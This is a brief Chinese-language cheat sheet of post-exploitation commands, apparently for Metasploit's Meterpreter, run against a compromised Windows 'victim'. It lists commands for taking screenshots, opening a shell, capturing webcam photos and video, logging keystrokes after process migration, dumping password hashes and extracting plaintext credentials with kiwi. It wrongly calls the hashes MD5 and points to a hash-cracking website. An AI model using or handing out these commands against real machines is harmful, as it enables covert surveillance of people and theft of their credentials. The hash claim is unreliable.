后渗透

命令

桌面截图

• screenshot

进入受害者命令行

• shell

  • 改乱码（改变编码方式）

    • chcp 65001

  • 查看权限

    • whoami

      • Windows最高权限：System

  • 退出

    • exit

拍照

• 检测摄像头设备

  • webcam_list

• 拍照

  • webcam_snap

• 摄影、视频

  • webcam_stream

键盘监听

• 查看windows运行进程

  • ps

• 进程迁移/监听

  • migrate -P PID

• 开始监听

  • keyscan_start

• 获取监听

  • keyscan_dump

• 停止监听

  • keyscan_stop

抓取密码

• 抓取加密以后的密码

  • hashdump

    • 加密方式：MD5，解密网站：https://www.cmd5.com/

• 抓取明文密码

  • kiwi help
  • creds_wdigest